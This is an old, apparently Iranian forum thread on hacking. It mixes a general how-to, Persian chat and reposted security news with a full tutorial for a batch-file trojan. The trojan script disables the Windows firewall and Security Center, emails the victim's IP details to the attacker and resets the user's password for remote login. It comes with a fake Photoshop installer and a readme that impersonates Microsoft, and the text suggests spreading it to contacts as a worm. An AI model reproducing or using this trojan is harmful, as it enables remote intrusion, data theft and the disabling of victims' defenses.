Hack & Hackers

[RedWine]

Hacking can be difficult and there are many different ways to hack and many different exploits to use. Hacking is neither defined nor limited by exploitation or exploration. Hacking is also illegal, so don't do it unless you are sure you have permission from the owner of the system you are trying to hack.

Hacking, in the good 'ol days was mostly discovering information, about systems and computing in general. In recent years it has taken dark connotations and in general has been looked down upon. Likewise, many corporations now employ "hackers" to test the strengths and weaknesses of their own systems. These hackers know when to stop, and it is the positive trust they have built that earns large salaries.

Now days there are white hat, grey hat and black hat hackers. White hats, good guys, blacks being malicious hackers and greys that are somewhere in between. The term "Hacker" does not necessarily mean that the person is bad or is doing anything wrong or illegal, unless you are talking about getting into someone else's system.


Steps

Know a programming language. C++ is good to know, but hardly easier to learn than Vietnamese.

Use Cygwin for Windows or *nix. Plain Windows and DOS will get you nowhere fast. (reader's note: this is purely biased opinion. The same tools the author uses can be found for Windows based machines. NMap particularly, uses WinPCap to run on WIndows and does not require Cygwin)

Know your target. Can you reach the remote system? Run a Ping scan of the form: ping <ipaddress> and there are some other commands you can use.

Also, try tracert <ipaddress> and this will show you how they are connected to the network.

Determine the OS(operating system). Why is this important? How can you gain access to a system if you don't know what the system is? This step involves running a scan of the ports.

Try pOf. nmap runs a port scan, showing you the ports that are open on the machine, the OS, and can even tell you what type of firewall or router they are using so you can plan a course of action.

After finding open ports and determining the operating system, you have to find some path into the system proper, unless for instance you find ftp or telnet wide open.

Often you will run into a password. There are several methods for cracking a password. There is brute force, where a program(or you) try every possible number and letter combination as user and password. There is also dictionary cracking, where a program or you attempt certain words in lists. Less often the password is default or guessable.

Most information that will be of vital interest is protected and you need a certain level of authentication to get it. To see all the files on a computer you need super user privaleges. This is root in *nix os's, admin usually in routers, Administrator in Windows XP and so on. Just because you have gained access doesn't mean you can access everything, only the super user can do this.

Often to gain super user status you have use various tricks such as creating a "buffer overflow" which is basically causing the memory to dump and allowing you to inject a code or perform a task at a higher level then you're normaly authorized. Only writing or finding an insecure program that you can execute on their machine will allow you to do this.

Using the above tactics on a popular or government computer will probably get you busted unless you cover your tracks *very* well. You must keep in mind there *are* people a bit smarter than you working for money to catch intruders into their systems. They sometimes even get a bonus for each intruder they expose.

Tips

Keep away from hacking government agency's systems!

No matter how good you are, remember that the "white hat" hackers are also trying to find you. They might be better than you, and in fact, if you are reading this they surely are.

Buy books discussing TCP/IP networking.

THIS article discusses what is known in the hacking world as "cracking".

White hat hackers are those that built the internet, made linux, and work on open source software. Black hats only want to destroy. It is advisable to look into white hat hacking, as it is respected and less likely to get you arrested.


Warnings

Misuse of this information may be a local and/or federal crime. This article is intended to be informational and should only be used for ethical purposes.

[golgol85]

damn, this looks like a lot of fun! I wish i knew how to hack, not to cause any problems to anyones system or to know whats on their computer or even what they are doing, but just because it seems like it is such a hard thing to do and i like challenges! :D

[Parinaz_M]

just don't accept any file that you recieve in the chat rooms. and don't open any files from people you don't know
do what i do: open it up at school, not from your own computer!!!!!!!!

[RedWine]

After the couple days,I will put some legal article about this subject .

[golgol85]

zoodtar bezar bebinim chi kar mitoonim bokonim ke hack konim:D

[nanakhafan]

man bayad yekio hack konam ta halesh hesabi ja biad !

[golgol85]

in yeki pesare? chera fekr mikonam in pesare nana joon?;)

[Parinaz_M]

nana joon hala movazeb bash hale khodet gerefte nashe jigar

baba dash sia, enja alan dare janbeye bad amoozi peyda mikone

[khanoomi]

man mikham hack konam ye nafaro

[nanakhafan]

na pari tarafo ke hack konam, khoshahal misham beja gerefte

[nanakhafan]

zoodtar bezar bebinim chi kar mitoonim bokonim ke hack konim:D



chon hamash pesaran ke az een kara mikonan,
hey hal migiran

[Parinaz_M]

man baz ham tekrar mikonam, en ende bad amooziyE

[golgol85]

na, man tazmin midam keh hich kodoomemoon estefadeye bad nakonim az information:) negarane ma nabash parinaz, shayad be darde khodet ham khord;)

[Parinaz_M]

na baba man doost nadaram kasiro aziat konam ya haleshono begiram
bachehaye khoobi bashid va karaye bad bad ham nakonid, dast be gaz va kebrit ham nazanid

[donsaeid]

doshakheye bargh chi?

[golgol85]

na, chon oonvaght age khamoosh bashin roshan mishin, hehehe :D:D

[donsaeid]

vay goole namaki bekhoda... bia man daram nimroo dorost mikonam :D

[golgol85]

momkene ba namak basham, vali nemirizam namakamo;)
be jaye nimroo ye saladi chizi mikhordi ke healthy bashe:D

[donsaeid]

:D hahaha

[golgol85]

khande dasht harfam?
hala hack ke yad gereftam behet khandaro neshoon midam :D

[Parinaz_M]

niloo joon dige dare tarsnak mishe, havaye khodetono dashte bashid!!!!!!!

[RedWine]

Advanced Batch File Viruses

Yo, what's up everyone?
Welcome to my second Batch file article, "Advanced batch Virus Programming"
Now when I say advanced, I mean advanced, we are going to be exlporing how to
write Batch File Trojan Horses, etc.

If you havn't yet read my previous article entitled "Batch File Viruses" Please
do so before attempting to write these codes and read this article. It won't
Make sense. Taht bieng said, this is not a batch n00b article, if you are a Batch
n00b, read my previous article, understand it, and you will no longer be a Batch
n00b. The general idea of this article is too step you through how to make a simple
Batch Trojan, then open up your mind to the big picture. I hope you learn something new.

Introduction:
As time goes on, I get more and more comments saying--"Batch files arn't viruses!
They can't do anything serious! they are toys!"
I am writing this article, to prove them absalutely wrong.

Batch File myths:

-A batch file cannot be considered a virus because it can not spread.
Viruses spread, and Batch files do not.

-A batch Trojan horse, no matter how simple, is not possible.

-Batch (MS-DOS) is not a real programming language and is good for nothing.


OK, now that you have read those Myths, let me prove each one of them wrong,
(in no particular order).



Getting started:

Alright, open up notepad, and start your Batch file. Use whatever coding you
like using to begin.

OK, now that you have done that, let's start our first Batch Trojan Horse.

--About this Trojan Horse--- It is NOT extremely complex and does NOT do all
of the things that some .EXE Trojans will do. It is just to make an example
of a basic remote access program. If you use your immagination, I am sure that
you will be able to make a much better Trojan that does almost anything you want.

*This is not a particularly discreet trojan Horse, however an ignorant computer user
will have no clue what is going on.


Coding:
OK, step one, let's make this file an auto-run. Slap on the code I
specified in my previous article and let's get started.

Step two, this program is going to need to disable the firewall and keep
itself from bieng detected by an anti-virus program. (This is a good example
of how this program is NOT discreet.)

We will simply disable both of those services for the time bieng.
Use this code:

net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0

This set of commands is self explanatory, it stops the security cenrer, then
flashes through registry and kills the firewall.

Now we have an auto-run Batch program that upon boot, will auto-run itself
and disable the firewall/security center.

Now we need to give ourselves this person's IP address...

I don't know if I was the first person to consider using a command prompt
mail client program as a way of stealing an IP address, hehe, but here we go.

You are going to need to download the mail client "febooti.exe"
and you can do so from the following URL:
http://www.febooti.com/downloads/

Ok, now that you have that, let's get too work.

Go back to your batch file and put on some febooti commands that will email you this
user/victim's IP address/whatever else you want.

Here we go:

ipconfig >Computer-IP-address.txt
febootimail -FROM RedBishopX@hotmail.com -TO Zone.Vortex@hotmail.com -ATTACH Computer-IP-address.txt
MSG "Victims IP is inside file attatchment Computer-IP-address.txt"
del Computer-IP-address.txt


This is a relatively simple script; allow me to explain it. First we use the "ipconfig"
command, which will give us the user's IP information. If you are in a particularly
malicious mood, you may want to use the command "IPconfig /all" which will also give you
there user names, MAC address, etc.
Now that we have run this command, we simple use ">" to copy it into a text file that we call
Computer-IP-address.txt, which will be saved into the current directory.

Next, (assuming the user has opened up febooti already) you use the febooti command
to send Mail from (as an example) RedBishopX to ZoneVortex.
We use the "MSG" command to write the body of the email, which says: "Victim's IP is
attatched to this email, etc."
Then we attach our text file with all of the sensitive information in it, to the email.

So here is what we have done:
disabled the firewall/security
sent an email to your email account with the user's IP information

Now, you can simply whip open Your remote access terminal (start-allprograms-accessories-communications-remote desktop)
enter int he user's IP, and if they are online, you will connect directly to their machine.
But Uh-oh... you are required to enter their password.

Go back to your Batch file.

You are going to want to create an account that you can log in with.
So you have too options: you can either change the user's password and log
in as him, or create a new profile and delete it when you are done.

Incase you forgot the command to change his username will be "net user %username% (new password)

It is up to you to do which ever of those 2 things you wish. I would reccomend changing their password,
logging in and doing whatever it was that you needed to do, then using Cain and Abel to sniff their old password,
and change it back to that.

Now let's zip our Trojan Programs together in a .ZIP folder.
Let's pretend we are desguising it as a photoshop.

ZIP folder:
(example)

Photoshop4.exe.bat-----(Our Batch program)
(Code for this program:)

@echo off
cls
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
cls
ipconfig >Computer-IP-address.txt
febootimail -FROM RedBishopX@hotmail.com -TO Zone.Vortex@hotmail.com -ATTACH Computer-IP-address.txt
MSG "Victims IP is inside file attatchment Computer-IP-address.txt"
del Computer-IP-address.txt
cls

Photoshop_setup.exe-----(febootimail.exe)

Readme.txt-----(For social engineering purposes, getting them to open this stuff in the right order)
(example)
///// Welcome to Photoshop4!! \\

This program is the published product of Microsoft Inc.

Setup:
Open and install "Photosop_setup.exe", this program will use the "febooti"
mail system to verify your request, and get you registered.

Once this is done, open the executable "Photoshop", and begin your wonderful experience.

Questions/Feedback? email us at PhotoshopStaff@microsoft.com

-Thank you.


Ok, now we have a simple Trojan Horse, nothing fancey, but it's something.

Now is when we use our immagination, if we can email text files through command prompt...
what is too stop us from emailing this program by email??

Do some research on the Febooti syntax. Perhaps you will find a way to mail it to everyone on
their user's contact list. :)

I am not garunteeing that all of these codes are EXACTLY correct, I want you to do some thinking
for yourself/research for yourself to get this program up and running. (this is my script kiddie gaurd)
The code is, however, in general, correct. And yes, I have tested this type of program, and Yes, it did work.
Using a mail client with a Batch program has limitless potential. Who knows what we could accomplish.
In general, this article is just to get you thinking about how many different things that you could do
with a similar idea to this, and how easy it would be.


My ending statement:

Hehehe, as always, Im going to make my little speach about not using this for massively-destructive
Purposes. lol. Just because we have a simple Trojan here, and we can turn it into a worm that deletes
every harddrive it hits and emails itself through a command prompt mailing system... doesnt mean
we need to use it like that. Again, I will strongly urge you to use this as a prank, rather than a weapon.

Lol, as the good book says: "What goes around comes around" lol

-Peace.

Published by: Zone Vortex,

[RedWine]

Pls No More Chat in this thread.this thread is just for givin' you INFO ! You can just ask or reply legal article in this thread.thx!

[golgol85]

is there an easier way to hacking? that looks way too complicated and i read through it all but it seems too hard. :(

[Raiden]

I agree with RedWine..C++ will help you in hackin(I used to be a hacker)
First of all Real Hackers never admit they are hackers or even go saying "I will hack you" They like to keep quite...That doesn't mean their loners, proper hackers usually hack in teams (like squads) and they watch eachothers back...
If u want to hack get one of the open-source Unixes(Its an operating sys just like windows) and learn how to use it.

[Raiden]

just don't accept any file that you recieve in the chat rooms. and don't open any files from people you don't know
do what i do: open it up at school, not from your own computer!!!!!!!!

hahahaha, I feel srry for you ary joon..for the hacker to get ur IP address all they need to do is open a chat session with you....

[RedWine]

Microsoft is investigating reports of a vulnerability in a Windows ActiveX control that could allow an attacker to remotely take control of a computer, according to an advisory issued Friday. One security company rated the vulnerability critical, while Microsoft said it allows only limited attacks.

The vulnerability, which was not patched as of this morning, affects certain versions of Windows running Microsoft XML Core Services 4.0, a set of tools that allows programmers to use scripting languages to access XML documents.

The affected versions are Windows 2000 Service Pack 4, Windows XP Service Pack 2, Windows Server 2003, and Microsoft Windows Server 2003 Service Pack 1.

Web Site Triggers Bug
A user would have to visit a specially-crafted Web site that triggers the XMLHTTP 4.0 ActiveX control, Microsoft said. The attacker would then have the same rights on the machines as the current logged-on user, and could gain complete control of the machine. A similar flaw that took advantage of the XMLHTTP ActiveX control surfaced nearly five years ago and was later patched.

Users can protect themselves by disabling the affected ActiveX control, although the workaround could stop some Web sites from functioning correctly. Microsoft describes how to disable the control in an advisory.

Varied Diagnosis
The SANS Institute classified the flaw as a zero-day vulnerability, meaning the problem is public but not patched. The French Security Incident Response Team called it "critical."

Microsoft issues patches for its software on the second Tuesday on the month. The speed at which a patch is issued depends on the risk of the vulnerability, and the company has issued patches out of cycle for widely-exploited vulnerabilities.

[RedWine]

Malware writers have used a Wikipedia article and special storage features to attempt to plant malicious code on unsuspecting users' systems, the online encyclopedia's organizers have confirmed.

Pointed to Archive
The incident took advantage of Wikipedia's policy of openness, which allows anyone to create and modify articles. The attackers created a Wikipedia page that promised a Windows security update for a supposedly new version of the Lovesan/W32.Blaster worm, and pointed to an external site with the seemingly authentic domain wikipedia-download.org.

Wikipedia editors quickly identified and deleted the article, according to a report from German news organization Heise. However, the attackers had used a Wikipedia feature that archives all previous versions of articles when changes have been made.

The malicious page thus continued to exist in the archive, and the attackers were able to point to it in mass e-mail messages, according to Heise.

The e-mail messages used Wikipedia's logo, and explained that Microsoft had asked Wikipedia to assist with hosting the patch during a supposed Lovesan/W32.Blaster outbreak.

Wikipedia confirmed it has now deleted the archived versions of the malicious article. Wikipedia-download.org also leads to a dead end.

Quality Sought Amid Quantity
In August, Wikipedia co-founder Jimmy Wales, addressing the Wikimania conference, acknowledged growing problems for the encyclopedia around accuracy and malicious edits, and promised to improve quality.

The English version of Wikipedia passed 1 million entries this year. .

[RedWine]

A few months ago it was Microsoft Word. Last month it was Excel. Now PowerPoint is under attack through a critical hole. Why so many Office flaws so quickly?

Part of the reason is that "black hat" hackers now have cracking tools called "fuzzers" that can automatically run through thousands of combinations of programming calls to find the one (or the dozens) that will crash a program. Such holes fetch good money from valid security firms that pay bounties, as well as from the Internet black market.

In addition, new vulnerabilities are cropping up at a faster rate in popular applications, such as Web browsers and media players, than in Windows, a fact not lost on crackers. When they find a new hole in Office, for example, they can mix-and-match an exploit that hits it with existing viruses and other malware for a quick attack that strikes before a patch appears--a bit like adding the latest targeting system to an existing missile.

Attackers did just that with the PowerPoint hole, which affects versions 2000, 2002, and 2003. As with the other Office flaws mentioned here, if you open a poisoned file from a Web site or an e-mail attachment, an attacker can take control of your PC. By the time you read this, Microsoft should have devised a patch for the vulnerability and sent it via Automatic Updates. For further details, read Microsoft Security Advisory 922970.

The new PowerPoint hole is much like the Excel holes that I discussed last month, which the last set of Automatic Updates corrected. You can get the Excel fixes and more information from Microsoft Security Bulletin MS06-037.

A second Office patch, also sent via Automatic Updates, eliminates three other holes in the major apps of Office 2000 through 2003. The risk is rated critical only for Office 2000, and important for other Office versions. The difference, however, is just that you get a minimal pop-up warning if you try to open a poisoned file, so get the update regardless of your version. For more details, read Microsoft Security Bulletin MS06-038.

Finally, Microsoft has fixed two critical holes involving the way both Office and Works handle the display of certain image formats--specifically, Portable Network Graphics (PNG) and Graphics Interchange Format (GIF). No attacks occurred prior to Microsoft's release of the patch; and again, the patch is critical only for Office 2000. You can get it via Automatic Updates or from Microsoft Security Bulletin MS06-039.

Critical Flash Player Bug FIX
Adobe just patched a critical bug in its incredibly popular Macromedia Flash Player. Exploitation of the flaw could leave your PC completely compromised via memory corruption, according to security researcher Fortinet. When you visit a Web site that contains a Flash movie (an .swf file), Flash Player automatically loads on your PC and plays the file.

All you'd have to do to get hit is visit a booby-trapped site. Once you were there, the file would play with no additional click from you. Versions 8.0.24 and earlier are at risk, according to Fortinet. Don't put off getting Adobe's updated release, version 9.0.16.

[RedWine]

It is tempting to think of hackers as twisted geniuses. Tinseltown sure does: Show me someone who's a hacker in a movie, and I'll show you a brilliant, enterprising nerd who has gone bad--someone who is fueled in equal parts by caffeine, cunning, and native technical skills.

In the real world, most hackers aren't that clever, and they aren't that industrious. They're more like looters, using brute force to break into PCs via weaknesses others have exposed. Oftentimes, they do so after developers have released patches, but before many users have installed them.

The Defender: Security reporter (and former Marine intelligence officer) Verton. Photograph: Rick Rizner"Biography of a Worm" is the moment-by-moment tale of one of the most notorious of those lootings, the invasion of the Sasser worm last spring. Author Dan Verton, a newcomer to this magazine but a seasoned senior writer at our sister publication Computerworld, knows his security, and not just of the digital variety: He's a former intelligence officer for the U.S. Marine Corps.

"Security isn't just about bits and bytes. It's about public safety as well," he explains. "Every insecure home computer is an attack vector waiting to be turned on by a sophisticated hacker." In other words, determined cyberterrorists could someday use the worms or viruses they plant on our PCs to launch assaults on government or private-sector infrastructure.

From Weakness to Worm
Sasser, luckily, was more colossal headache than national crisis. Its appearance is the climax of Verton's article: By the time a German teen pounded out the code, most of the heavy lifting had already been done. Months earlier, a California security researcher had discovered the Windows flaw it attacked, and Microsoft had acknowledged it and released a patch.

Shortly after Microsoft's security alert appeared, a Russian hacker made the flaw the subject of an "exploit," a sort of do-it-yourself worm recipe. The exploit became a building block of Sasser, which has infected at least 700,000 systems--so far.

Other attacks have similar biographies, and some are uglier still. Not every sleuth who finds a flaw discreetly alerts the developer. Some simply release the details to the world at large; hackers get their hands on it before a fix exists.

Microsoft's message to security researchers is simple: Help us, don't surprise us. "Providing information on vulnerabilities [to the public] only ends up putting customers at risk," says Stephen Toulouse, a senior program manager at the Microsoft Security Response Center.

To that end, the company is a member of the Organization for Internet Safety, a group that encourages researchers and developers to work together to identify and patch vulnerabilities. Sounds like a worthy cause to me.

But the danger in this sort of low-key, secretive approach is that it reduces the pressure on software companies to release important fixes as quickly as possible. In the case of the Windows hole that Sasser attacked, for instance, Microsoft didn't provide a patch until 188 days after it knew about the problem.

Of course, a hasty, buggy fix can be worse than the flaw it purports to correct. Still, for more than six months, even Windows users who diligently patched their machines were running an operating system with a gaping hole. That's enough to make any PC user squirm.

And when users squirm, says Verton, software companies must feel their pain. Real improvements in security may come only if users demand them: "If customers say, 'We won't buy your software unless it meets certain conditions,'" he believes, "that would make developers change."

Even Microsoft's Toulouse says that software buyers have every right to be demanding, nowadays. His response to users who think that Microsoft's security practices leave something to be desired?

"Keep telling us that," he requests. "We're working hard, and we need to hear how we can do better."

Tell us what you think, too. As long as there's a security mess, we'll keep covering it--and we need your feedback.

[RedWine]

Here we go again: There's a new round of nasty viruses floating around the Web--and into many e-mail in-boxes. The killer is that some of them are brilliantly designed, so much so that you could be duped into infecting yourself.

Well, actually not you; and no, I'm not being snide. My hunch is the majority of the people reading my newsletter are smart and reasonably well protected. That's primarily because you do the right things: You update your antivirus program, guard against e-mail attachments, and keep yourself aware by reading PC World and other magazines.

Despite all these accolades, I'm going to spend some time this week and next telling you about the latest threats and revealing more of my tricks to help you avoid spending a day untangling a virus mess.

Important Windows Patch News
But first, you need to know that Microsoft announced a serious Windows "remote code execution" vulnerability that affects everyone running NT, 2000, XP, and 2003 Server. Read about it in "Microsoft Plugs 'Critical' Windows Hole." Microsoft's site provides information to help you understand the three updates and figure out which ones you need. The two that most users need are Security Update 832894 and Security Update 828028

Some of you may feel a little apprehensive when the site asks which of a seemingly half dozen versions of Windows you have installed on your PC. (Most XP users should download "Microsoft Windows XP Service Pack.") Here's how to find out for sure: Click Start, Run, type winver into the field, and click OK. Easy, eh?

If you want to bypass all this, just go to the Windows Update site--it'll scan your system, advise you of the necessary updates, and do the installation.

And listen, on the off chance you have any trouble installing the patch, Microsoft is offering free tech support. Contact Microsoft Product Support Services at 866/PCSAFETY (that's 866/727-2338

Dig This: To boost sagging sales, Microsoft has started selling ad space on its Blue Screen of Death.

Novarg, and Mimail.R, and Mydoom, Oh My
And now you need to get up to speed on the latest virus threats.

I recommend you start with "How to Kill the Worm," a comprehensive piece by PC World Senior Editor Peggy Watt. You'll learn which worm is which, get insight into how they do their dastardly deeds, and find out where to go for removal tools.

Now let's get to specifics: You'll want to know about Mydoom, for sure, so be sure to read "Mydoom Takes Down SCO Site" and "Mydoom Attack Continues." Then read a report on what the Mimail virus has been up to lately: It's been very busy, masquerading as a message from PayPal. Lincoln Spector has some advice on handling the e-mail in "New Virus Appears as PayPal Scam."

Dig This: Many years ago a whale landed on a beach in Oregon and went to whale heaven. Apparently the authorities didn't have much experience removing dead whales, so they decided to, well, blow it up. Man, the blubber did fly.

Wanted, Virus Writers
Bounties and rewards are the latest in an industry attempt to cut off virus and Trojan-horse writers at the knees. The biggest kid on the block, Microsoft, is offering a $250,000 reward for helping to identify the jerk who wrote the Mydoom-B worm. I understand Bill will also send a team of Microsofties to fine-tune your version of Windows.

Microsoft's motivation to offer a reward for the Mydoom writer may be that the worm has specific targets. In addition to attacking the Unix vendor SCO Group, Mydoom tried nailing Microsoft itself; see "Mydoom Variant Targets Microsoft."

Unfortunately, even with rewards and bounties, and Windows XP Service Pack 2 in the wings, the news for the rest of the year isn't so good. We're bound to see more annoying viruses and worms. For some predictions of what's to come, read "Viruses, Worms Will Worsen in 2004"--and make sure to upgrade your antivirus program.

Quick Windows News: If you're still stubbornly using Windows 98, your luck just got better. You have until 2006 to use it and expect support from the Redmond Empire. Read "Microsoft Extends Win 98 Support" for details.

Dig This: The Vodafone site may be commercial, but its Flash animations are really cool, enough so that you'll easily kill a half hour poking around. My favorite? Scroll over Quick Launch, then select Entertaining. My second favorite is Working, also in the Quick Launch list.

[RedWine]

The latest viruses spread through everything from your instant messaging client to your file sharing program. Annoying new ads hijack your browser without your even clicking them. Spam greeting cards send themselves to everyone in your address book. Next-generation auction swindles exploit what's supposed to be one of the safest ways to do business online. But you can turn the tide against these pernicious pests.

What follows is our field guide to the newest threats to your PC--from hackers to sneaky adware--and the tools you need to send them packing. We'll direct you to the most important fixes for Windows and common applications. We also point out where you need to be careful about otherwise good patches that may introduce more bugs.

The year 2002 marked a sharp uptick in the volume of new virus discoveries: Researchers and antivirus outfits cataloged more than double the number of new viruses recorded in 2001. And as 2003 rolls along, the breakneck pace of new virus and worm development shows no signs of abating. Meanwhile, the most persistent and resilient nasties of 2002, such as Klez, still plague our in-boxes and infuriate our associates over the Internet.

Virus writers continue to find new and ever-more-clever ways to deliver malicious code to our PCs efficiently and with potentially devastating consequences. Tantalizing e-mail attachments are still the most favored vector for attacks, but some worms target any widely used program that lets you download files, such as an instant messaging application or a file sharing tool.

Vincent Weafer, senior director at Symantec's Security Response Center, says virus makers are using worms and viruses as a way to plant Trojan horses that in turn allow their creators to exercise full control over your computer, surreptitiously record passwords you type, or steal other information you might value.

Smarter, Quieter Intruders
Historically, viruses targeted only a single vulnerability--a security hole in your copy of Internet Explorer or in your Outlook Express application, for instance.

The Slammer/Sapphire worm attack is a well-known example. It took advantage of a widely known security hole; a patch had been made available for it months earlier, but many computer operators (including some at Microsoft) had not applied the fix.

"It's no longer enough to install an antivirus program and personal firewall," Weafer says. "Users need to keep current with [operating system] patches, configure browser security settings to high, and turn off application features they don't use." Experts recommend that you turn off Windows file sharing (in the Networking control panel) if you don't need to use it, and that you use your firewall to block file sharing on TCP ports 139 and 445. (For more suggestions to lower your risk, see this month's Internet Tips.)

Newer viruses are getting more sophisticated. While the infamous Klez worm relied on Outlook Express to reproduce, Weafer says, worms with built-in mail engines are the future direction of malicious code. Such variants spread independently of e-mail programs, and they can scout for victims anywhere on your hard drive, looking for addresses even in the Web browser cache.



Stealth is becoming a watchword for virus writers. With the notable exception of Slammer, worms and viruses increasingly do their dastardly deeds quietly. When viruses infect lots of computers in a short time, they are quickly detected and eliminated. The new breed waits patiently to strike at new victims. But don't confuse a low-key approach with a low risk: Your infected machine can still be used to plunder your data, attack other PCs, and wreak havoc on a network of connected computers in a home or office.

Home users who think the data on their hard drive is too insignificant to merit a hacker's attention may not realize that the computer itself is often a more attractive target than its contents.

Some intruders take control of PCs for use as a "dead drop" for potentially incriminating data, Weafer says. In these instances, the hacker gains access to a number of PCs and uses each victim's computer as a holding tank for illegal material--such as child pornography or a company's stolen files or passwords. Operating from a PC free of damaging evidence, the hacker can view the files on the victim's machine at a convenient time and in relative safety. If the victim has a broadband connection and leaves the PC powered on day and night, all the better. Simply shutting off your PC when you're not using it is probably the easiest thing you can do to avoid becoming a victim.

Pop Star Virus
Viruses and worms that activate themselves are still in the minority. Most worms require you to open a file attachment or preview its e-mail message before they become active and infect your PC. One recent example: The Avril Lavigne worm (named after the 17-year-old Canadian pop sensation) made its way into the less auspicious top 10 virus charts in January. It spreads via e-mail, IRC, instant messaging, and file sharing networks, scanning for a wide range of vulnerabilities on your system.

Opening the Lavigne worm's executable file or previewing its e-mail message in Outlook Express is all it takes to infect yourself. Its core program, a block of code named Lirva, disables antivirus programs, installs the BackOrifice 2000 Trojan horse on your system, and plants itself all over your hard drive, making it more difficult to remove. It then sends itself to everyone in your e-mail address book, to your entire ICQ contact list, to anyone who downloads your files over Kazaa, and to everyone in your IRC chat rooms. Not connected to the Internet? No problem for Lirva: It will dial up your ISP for you (in the middle of the night).

And someone went to all this trouble just to force you to view the pop singer's home page three days a month? Well, less benignly, the worm also steals the dial-up user names and passwords saved on your hard drive, and it e-mails them to the virus author. And since it installs a Trojan horse remote-control program, any hacker who has the same software can take control of your computer later on. If your PC was infected, use the free Lirva Removal tool to fully restore its health.

The Lavigne worm should serve as a warning to complacent computer users. If Lirva had been programmed to do real harm to the PCs it infects, to spy more closely on the infected user's computer, or to alter data on the hard drive more subtly, the result could have been devastating instead of merely infuriating.

Hackers also take advantage of computers left unattended to send worms through file sharing networks such as Kazaa. A specific vulnerability in Kazaa's pop-up ad program could allow a hacker to execute malicious code directly on your computer. A hacker who manages to pass a malicious ad to Kazaa (or to crack into its ad-serving network) can gain access to your local Windows security zone--and have free rein over your computer. (You can download a workaround.)

The interconnectedness of machines on the Net means that due diligence applies equally to home users and to corporate users, says Weafer, who likens securing a home or business computer to wearing seat belts and obeying traffic laws as you drive.

"We're living in a global community," Weafer explains. "[Computer security] is not only about protecting ourselves, but about protecting everybody else who's living around us."

[donsaeid]

با هدف اخاذي 30 ميليوني از سوي هكر جوان صورت گرفت

تهديد به انتشار عكس*هاي خصوصي دختر ايراني مقيم آلمان


تحقيقات پليس آگاهي براي دستگيري پسر جواني كه با تهديد دختر ايراني مقيم آلمان به انتشار عكس هاي شخصي*اش تقاضاي 30 ميليون تومان پول كرده بود آغاز شد.



صبح امروز عموي اين دختر 20 ساله با مراجعه به دادسراي جنايي تهران با طرح شكايتي خواستار رسيدگي به اين پرونده شد.

وي در شكايتش به جعفري معاون دادسرا گفت: برادرم بازرگان است. او حدود 14 سال قبل از كرمانشاه به آلمان رفت و مقيم آنجا شد.دختر برادرم كه 20 سال سن دارد هرچند وقت يك بار از آلمان با بستگانمان از طريق اينترنت صحبت مي كرد. حدود يك ماه قبل كه او در حال چت بود پسر جواني موفق شد از طريق هك كردن مسنجر او، وارد اطلاعات كامپيوترش شود.جوان هكر با اين روش موفق شده بود عكس هاي خانوادگي و شخصي برادر زاده ام را پيدا كند.

عمي دختر جوان افزود: سه روز قبل جوان هكر در تماس با برادر زاده*ام او را تهديد كرد با كمك فتوشاپ عكس هاي مستهجني از او تهيه كرده است. او براي اينكه عكس هاي برادرزاده ام را منتشر نكند از او خواسته بود يا با او ازدواج كند يا 30 ميليون تومان بدهد.

ابتدا ما اين تهديدها را جدي نگرفتيم اما در ادامه جوان مزاحم عكس هايي مستهجن از دختر برادرم براي ما فرستاد.ديدن اين عكسها و تهديدهاي جوان مزاحم باعث شده است برادرزاده ام دچار بيماري روحي و افسردگي شود.با افزايش تماس هاي جوان هكر، من كه مقيم سوئد هستم براي كمك به برادرم كه هم اكنون در ايران است به تهران آمدم.

وي ادامه داد: در بررسي هاي خود متوجه شديم پسر جوان ساكن تهران است و در تماس با برادر زاده ام ادعا كرده بود مدير يك آموزشگاه در سعادت آباد است.روز گذشته به بهانه پرداخت پول با پسر جوان در ميدان فردوسي قرار گذاشتيم اما او با ديدن برادرم از محل فراركرد.با فرار جوان مزاحم تصميم گرفتيم موضوع را از طريق پليس پيگيري كنيم.

با طرح اين شكايت، جعفري به گروهي از مأموران پليس آگاهي دستور داد تلفن همراه جوان مزاحم رديابي و او را دستگير كنند.

[RedWine]

Beh hich kas nemisheh digeh e'etemad kard beh Khoda... !

Thx Saeid jan for article.

[donsaeid]

ur welcome ;)

[Ahmaad]

Alan ke adamaye cherti mesle eena be Orkut o Hi5 o ena ham residan!
mian axaye ye dokhtar ro az album va gheyre barmidaran o ye profile eynesh va be esmesh mizanan o chert o pert minivisan!!

Jeddan adama ta che hadi mitonan past beshan ?!!

[donsaeid]

be hamon haddie ke tonestan zendegie yek bazigare javoono be lajan bekeshan!

jaye taasof dare!

bi marefati! bi marami va na mardi shode ghanone rozegar!

[RedWine]

Nightwork: A History of Hacks and Pranks at MIT (ISBN 0-262-66137-3) is, as the title implies, a history of the best-known hacks and pranks which have taken place at MIT. Hacks are a form of flamboyant practical joke, and MIT is one of the most selective universities in the United States with a famous hack tradition.

